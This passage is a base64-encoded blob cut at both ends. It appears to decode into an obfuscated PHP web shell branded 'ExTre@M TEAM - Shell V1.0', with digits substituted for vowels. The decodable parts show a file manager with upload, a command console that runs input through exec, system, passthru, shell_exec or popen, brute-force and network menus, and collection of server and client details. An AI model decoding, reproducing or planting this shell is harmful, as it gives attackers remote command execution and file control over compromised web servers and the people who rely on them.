gMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7DQogICAgICAgIH0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiN1dXU7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOw0KICAgICAgICAkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQogICAgICAgICRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KICAgICAgICAkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KICAgICAgICAkNXhwbDRuayA9ICcnOw0KICAgICAgICA0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICQ1eHBsNG5rIC49IDNybDVuYzJkNSgnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSk7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAkNXhwbDRuayAuPSAzcmw1bmMyZDUoJGs1cm41bCAuICcgJyAuIHMzYnN0cigkcjVsNTFzNSwwLG8pKTsNCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQogICAgICAgICAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KICAgICAgICAgICAgICAgICQzNGQgPSBAZzV0bXkzNGQoKTsNCiAgICAgICAgICAgICAgICAkZzRkID0gQGc1dG15ZzRkKCk7DQogICAgICAgICAgICAgICAgJGdyMjNwID0gIj8iOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCiAgICAgICAgICAgICAgICAkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQogICAgICAgICAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107DQogICAgICAgICAgICAgICAgJDM0ZCA9ICQzNGRbJzM0ZCddOw0KICAgICAgICAgICAgICAgICRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCiAgICAgICAgICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107DQogICAgICAgIH0NCiANCiAgICAgICAgJGN3ZF9sNG5rcyA9ICcnOw0KICAgICAgICAkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAkbj1jMjNudCgkcDF0aCk7DQogICAgICAgIGYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQogICAgICAgICAgICAgICAgJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOw0KICAgICAgICAgICAgICAgIGYycigkaj0wOyAkajw9JDQ7ICRqKyspDQogICAgICAgICAgICAgICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQogICAgICAgICAgICAgICAgJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KICAgICAgICB9DQogDQogICAgICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KICAgICAgICAkMnB0X2NoMXJzNXRzID0gJyc7DQogICAgICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCiANCiAgICAgICAgJG0gPSAxcnIxeSgnJiNvaThlOyYjb2VpNzsmI29lYTk7JiNvZTY3OyYjb2V1NjsmI29lYTY7JiNvZTY5OyYjb2VvYTsmI29lNjA7JiNvZTYwOyc9PidTNWNJbmYyJywnJiNvZWlhOyYjb2U2aTsmI29lYTY7JiNvZWUwOyc9PidGNGw1c00xbicsJyYjb2k4ODsmI29lYTk7JiNvZTA5OyYjb2VpMDsmI29pOWk7JiNvZWE2Oyc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTMWY1IG0yZDUnPT4nUzFmNU0yZDUnLCcmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7LSYjb2UwZTsmI29lYTk7JiNvZTB1OyYjb2U2OTsmI29lYTc7JiNvZW9vOyYjb2VhZTsnPT4nU3RyNG5nVDIybHMnLCdCcjN0NWYycmM1Jz0+J0JyM3Q1ZjJyYzUnLCcmI29ldTg7JiNvaTg4OyYjb2U2OTsmI29lbzk7JiNvZWE5OyYjb2k4ZTsmI29laWU7JiNvZW91OyYjb2U2ODsnPT4nTjV0dzJyaycpOw0KICAgICAgICA0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkNCiAgICAgICAgICAgICAgICAkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCiAgICAgICAgJG1bJyYjb2VhNjsmI29lNjA7JiNvZTBpOyYjb2VvbzsmI29lYW87JiNvZXU4OyYjb2VhOTsmI29pOTY7J10gPSAnUzVsZlI1bTJ2NSc7DQogICAgICAgICRtNW4zID0gJyc7DQogICAgICAgIGYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQogICAgICAgICAgICAgICAgJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCiANCiAgICAgICAgJGRyNHY1cyA9ICIiOw0KICAgICAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KICAgICAgICAgICAgICAgIGYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzOic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+PGYybnQgYzJsMnI9cjVkPjxiPi46IEV4VHI1QE0gVEVBTSAtIFNoNWxsIFY2LjA6LjxiPjwvZjJudD48LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+JiNvaThpOyYjb2VhNjsmI29ldTA7JiNvZWllOyYjb2U2Nzs6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPiYjb2V1ODsmI29lNjY7JiNvZW9lOyYjb2UwdTs8L2YybnQ+JzonPGYybnQgYzJsMnI9IzAwYmIwMD48Yj4mI29lNjY7JiNvZW9lOyYjb2UwdTs8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+WyBwaHA0bmYyIF08LzE+IDxzcDFuPiYjb2VhbzsmI29lb287JiNvZTA5Oy8mI29ldTg7JiNvZWFvOyYjb2VhNjsmI29lb3U7Ojwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiBCT0ZGVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJyAuIEJPRkZWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIEJPRkZQNXJtc0MybDJyKCRHTE9CQUxTWydjd2QnXSkgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48YzVudDVyPjw0bWcgc3JjPWh0dHA6Ly9zMW4yMmstZC5qM3BsMi5jMm0vbDJnMi5nNGY+PC9jNW50NXI+PGJyPjxkNHYgY2wxc3M9IjVuZCI+DQo8cCAxbDRnbj0iYzVudDVyIj48Yj6WlpUoLZUgIEMycHlyNGdodCBLMnJuIEV4dHI1QG0gW0FsbCByNGdodHMgcjVzNXJ2NWRdIJUtKZWWljwvYj48YnIgLz4NCig6IDwxIGhyNWY9Imh0dHA6Ly9zMW4yMmstZC5qM3BsMi5jMm0vNXh0cjUxbS10MjJsLnBocCI+RXhUcjUxbSAtIFQyMmw8LzE+IHwgPDEgaHI1Zj0iaHR0cDovL3d3dy5mMWM1YjIyay5jMm0vTDB2RVQ0NEt6Ij5GMWM1YjIyazwvMT4gfCA8MSBocjVmPSJodHRwOi8vd3d3LnkyM3QzYjUuYzJtLzNzNXIvRzJSbnp6IiA+JiNvaTl1OyYjb2VpZTsmI29lYTk7JiNvaTk2OyBZMjN0M2I1PC8xPiAgOikgPGJyIC8+DQpbW1sgPGI+JiNvaThpOyYjb2U2OTsmI29ldTA7JiNvZTBvOyYjb2VvdTsmI29lYTk7JiNvZWllOyYjb2VvdTsmI29lMDk7PC9iPiA6ICYjb2k4ZTsmI29lYTk7JiNvZWk2OyYjb2VhNzsmI29laTc7JiNvZWk2OyYjb2k5dTsmI29laTc7JiNvZWE5OyYjb2U2ODsmI29laWU7JiNvZW91OyYjb2k5NjsmI29lNjk7JiNvZW9hOyYjb2U2NzsmI29lb287JiNvZTB1OyYjb2U2OTsmI29lb2E7JiNvZWFvOyYjb2VvbzsmI29pOTY7JiNvZTB1OyYjb2VpNzsmI29lYW87JiNvZTY4OyYjb2k4ODsmI29lNjk7JiNvZW9vOyYjb2U2MDsgJiNvZWkwOyYjb2U2NjsmI29lNjk7JiNvZXU5OyYjb2k4aTsmI29lNjk7JiNvZTY3OyYjb2V1ODsmI29lNjY7JiNvZWlpOyYjb2UwOTsmI29ldTk7JiNvZTA5OyYjb2VhbzsmI29lNjY7JiNvZTY5OyYjb2VvYTsmI29ldTg7JiNvZTZlOyYjb2UwNzsmI29lYTk7JiNvZW9vOyYjb2UwOTsmI29lMGk7JiNvZTY5OyYjb2VvdTsmI29lNjg7JiNvaThpOyYjb2UwdTsmI29laWE7JiNvZTY2OyYjb2k4ODsmI29lYTY7JiNvZW9lOyYjb2k4aTsmI29lYTc7JiNvZTA5OyYjb2VvODsmI29laWU7JiNvaTk2OyA8YnI+JiNvZXU4OyYjb2UwNzsmI29laWU7JiNvZW91OyYjb2k4aTsmI29lb287JiNvZTYwOyYjb2VhZTsmI29lb3U7JiNvZTY3OyYjb2VvdTsmI29lNjk7JiNvZTBlOyYjb2VhNjsmI29lNjA7JiNvZXU4OyYjb2VhbzsmI29laWk7JiNvZTYwOyYjb2VpYTsmI29lMHU7JiNvZWk3OyYjb2UwNzsmI29lb287JiNvZWk3OyYjb2k5NjsgUzVydjVyICYjb2V1ODsmI29lYTY7JiNvZTY4Oy4uICgmI29pOGU7JiNvZWE5OyYjb2VpNjsmI29lYTc7JiNvZWk3OyYjb2VhZTsmI29lMDk7JiNvZXUwOyYjb2k4aTsmI29lMDk7JiNvZW9hOyYjb2k5dTsmI29lb3U7JiNvZWFvOyYjb2U2OTsmI29laTg7JiNvZWE5OyYjb2k4ODspIF1dXTxiciAvPg0KIiIgJiNvaThlOyYjb2VhOTsmI29lNjA7JiNvaTg4OyYjb2V1MDsmI29lMG87JiNvZTA3OyYjb2V1MDsmI29pOGk7JiNvZTA3OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2UwNzsmI29lbzc7JiNvZWllOyYjb2VpYTsmI29lYW87JiNvZWk3OyYjb2VhbzsmI29lb3U7JiNvaTk2OyYjb2VpNjsmI29pOWE7JiNvZWk2OyYjb2UwOTsmI29lMGk7JiNvZW9vOyYjb2VhbzsmI29ldTg7JiNvZTY5OyYjb2VvdTsmI29pOXU7JiNvZW91OyYjb2VhbzsgRXh0cjVAbSAmI29pOWE7JiNvaTk2OyYjb2V1ODsmI29pOWE7JiNvZTY5OyYjb2VvZTsmI29pOTc7IC4uICIiDQo8L3A+DQo8bDRuayByNWw9InNoMnJ0YzN0IDRjMm4iIHR5cDU9IjRtMWc1L2c0ZiIgaHI1Zj0iaHR0cDovLzNzNXJzLnNreW41dC5iNS9oNXJtMW5kdy9mbC90aC5nNGYiIC8+DQo8c3R5bDUgdHlwNT0idDV4dC9jc3MiPiANCjwhLS0gDQpiMmR5IHtjM3JzMnI6IGNyMnNzaDE0cn0gDQotLT4gDQo8L3N0eWw1PiANCjwvZDR2Pg0KCSAgIDxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPkNsNDVudCBJUDo8L3NwMW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jw0KICAgICAgIC4gJzx0MWJsNSBzdHlsNT0iYjJyZDVyLXQycDphcHggczJsNGQgI29vbzsiIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj4nIC4gJG01bjMgLiAnPC90cj48L3QxYmw1PjxkNHYgc3R5bDU9Im0xcmc0bjppIj4nOw0KfQ0KIA0KZjNuY3Q0Mm4gQk9GRkYyMnQ1cigpIHsNCiAgICAgICAgJDRzX3dyNHQxYmw1ID0gNHNfd3I0dDFibDUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmMm50IGMybDJyPScjYWlmZjAwJz4oJiNvZWE5OyYjb2UwOTsmI29ldTA7JiNvaTk3OyYjb2VvdTsmI29lMGk7JiNvZW9lOyYjb2VpNjsmI29lYTc7JiNvZWk3OyYjb2V1ODsmI29pOGU7JiNvZW83OyYjb2U2ODsmI29lMDk7JiNvZWlhOyYjb2UwdTsmI29laTc7KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPigmI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYTk7JiNvZTA5OyYjb2V1MDsmI29pOTc7JiNvZW91OyYjb2UwaTsmI29lb2U7JiNvZWk2OyYjb2VhNzsmI29laTc7JiNvZXU4OyYjb2k4ZTsmI29lbzc7JiNvZTY4OyYjb2UwOTsgISk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCiAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj4mI29ldTg7JiNvZTY2OyYjb2VhNjsmI29lbzc7JiNvZWllOyYjb2U2ODsmI29lMDk7JiNvZXU5OyYjb2U2aTsmI29laTc7JiNvZTY3Ozo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+JiNvZWE5OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDs6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPjx0cj4NCiAgICAgICAgICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPiYjb2VhZTsmI29lNjk7JiNvZWk3OyYjb2VvdTsmI29pOTY7JiNvZXU5OyYjb2U2aTsmI29laTc7JiNvZTY3Ozo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ21rZjRsNScpO3I1dDNybiBmMWxzNTtcIj48c3Axbj4mI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDs6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPjx0cj4NCiAgICAgICAgICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdDMm5zMmw1JyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPiYjb2k4ODsmI29lb2k7JiNvZWFlOyYjb2VvbzsmI29laWU7JiNvaTk2Ozo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQogICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgICAgICAgICA8c3Axbj4mI29lYTk7JiNvZW9vOyYjb2U2NjsmI29laTA7JiNvZWE3OyYjb2VhNjsmI29lMHU7JiNvZWlhOyYjb2U2aTsmI29lYTY7JiNvZWUwOzo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQogICAgICAgIDwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQp9DQogDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCiANCmYzbmN0NDJuIEJPRkZFeCgkNG4pIHsNCiAgICAgICAgJDIzdCA9ICcnOw0KICAgICAgICA0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCiAgICAgICAgICAgICAgICBANXg1YygkNG4sJDIzdCk7DQogICAgICAgICAgICAgICAgJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIEBwMXNzdGhyMygkNG4pOw0KICAgICAgICAgICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIEBzeXN0NW0oJDRuKTsNCiAgICAgICAgICAgICAgICAkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KICAgICAgICAgICAgICAgICQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQogICAgICAgIH0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCiAgICAgICAgICAgICAgICAkMjN0ID0gIiI7DQogICAgICAgICAgICAgICAgd2g0bDUoIUBmNTJmKCRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQogICAgICAgICAgICAgICAgcGNsMnM1KCRmKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJDIzdDsNCn0NCmYzbmN0NDJuIEJPRkZWNDV3UzR6NSgkcykgew0KICAgICAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KICAgICAgICAgICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCiAgICAgICAgNWxzNTRmKCRzID49IDYwdThpN2UpDQogICAgICAgICAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCiAgICAgICAgNWxzNTRmKCRzID49IDYwYXUpDQogICAgICAgICAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgIHI1dDNybiAkcyAuICcgQic7DQp9DQogDQpmM25jdDQybiBCT0ZGUDVybXMoJHApIHsNCiAgICAgICAgNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KICAgICAgICA1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOw0KICAgICAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAgICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KICAgICAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgICAgICByNXQzcm4gJDQ7DQp9DQogDQpmM25jdDQybiBCT0ZGUDVybXNDMmwycigkZikgew0KICAgICAgICA0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQogICAgICAgICAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiBCT0ZGUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KICAgICAgICA1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KICAgICAgICAgICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+JyAuIEJPRkZQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICByNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIEJPRkZQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQogDQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCJzYzFuZDRyIikpIHsNCiAgICAgICAgZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQogICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7DQogI